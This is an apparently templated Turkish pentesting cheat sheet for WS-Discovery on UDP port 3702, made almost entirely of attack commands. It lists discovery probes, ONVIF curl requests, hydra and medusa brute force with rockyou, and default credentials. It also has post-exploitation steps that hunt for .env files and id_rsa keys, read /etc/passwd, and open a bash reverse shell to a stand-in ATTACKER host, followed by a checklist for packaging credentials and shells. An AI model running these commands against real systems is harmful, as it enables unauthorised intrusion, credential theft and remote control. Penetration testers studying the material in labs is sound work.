Skip to content

3702/UDP - Pentesting WS-Discovery

WS-Discovery enum

WS-Discovery LAN’da cihaz/servis yayınlar. Printer/kamera/ONVIF hedeflerini ortaya çıkarır. Hedef lab IP’si üzerinde komutları 3702 portuna göre uyarla; her başarıyı ayrı kanıtla.

  1. UDP/3702 probe.

  2. Probe match cihazları topla.

  3. ONVIF/HTTP yüzeyi takip et.

  4. Default creds dene.

Terminal window
nmap -Pn -sU -p3702 --script broadcast-wsdd-discover
Terminal window
gsoap/wsd probes
Terminal window
tcpdump -ni any udp port 3702 -c 20
Terminal window
curl -vk http://TARGET/onvif/device_service
Terminal window
nmap -Pn -sV -p80,443,554 TARGET
admin/admin kamera/printer

/UDP - WS-Discovery için ek keşif ve fingerprint.

Terminal window
nmap -Pn -sV -sC -p3702 TARGET
Terminal window
nmap -Pn -p3702 --script safe,discovery TARGET
Terminal window
timeout 5 bash -c 'echo | openssl s_client -connect TARGET:3702' 2>/dev/null | head
Terminal window
python3 -c "import socket;s=socket.create_connection(('TARGET',3702));s.settimeout(3);print(s.recv(4096))"
Banner / TLS / ALPN notları → /UDP - WS-Discovery
Terminal window
hydra -L users.txt -P rockyou.txt -s 3702 PROTOCOL://TARGET -t 4
Terminal window
medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 3702
Terminal window
nmap -p3702 --script '*-brute' TARGET
admin/admin, root/root, guest/(boş), test/test
Terminal window
searchsploit WS-Discovery
Terminal window
msfconsole -q -x 'search WS-Discovery; exit'
Terminal window
nuclei -u https://TARGET:3702 -t cves/ -silent -severity || true
Terminal window
nuclei -u http://TARGET:3702 -tags tech -silent || true
Terminal window
nc -nv TARGET 3702
Terminal window
printf '
' | timeout 3 nc -nv TARGET 3702
Terminal window
curl -vk --http1.0 http://TARGET:3702/
Wireshark/tcpdump ile konuşmayı kaydet; replay dene
config, key, session, env, backup
Terminal window
find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head
Terminal window
ss -lntp; ip a; cat /etc/passwd | head
Terminal window
bash -i >& /dev/tcp/ATTACKER/443 0>&1
Terminal window
mkdir -p loot && tee loot/notes.txt
[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu
WSD probe → device URLs → default creds → stream/config